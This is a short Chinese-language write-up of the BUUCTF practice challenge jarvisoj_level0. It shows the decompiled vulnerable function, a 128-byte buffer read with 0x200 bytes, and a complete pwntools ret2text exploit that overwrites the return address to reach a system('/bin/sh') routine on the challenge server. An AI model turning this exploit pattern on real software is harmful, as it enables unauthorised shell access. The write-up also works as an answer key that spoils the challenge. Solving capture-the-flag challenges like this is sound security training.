[BUUCTF]jarvisoj_level0 1

题目:https://buuoj.cn/challenges#jarvisoj_level0

失忆了…

main:

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}

vulnerable_function()

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}

而且很轻易能看到有system函数和/bin/sh,要素很齐全。记一下这个地址0x400596

image-20251124222013957

忘了checksec了()总之就是栈溢出,大概是ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

host = "node5.buuoj.cn"
port = 25471

# io = process('./level0') # 在本地运行程序。
# gdb.attach(io) # 启动 GDB
io = remote(host , port)

payload = 136 * b'a'
payload += p64(0x400596) # 返回地址

io.sendline(payload)

# 尝试交互
io.interactive()

image-20251124223354242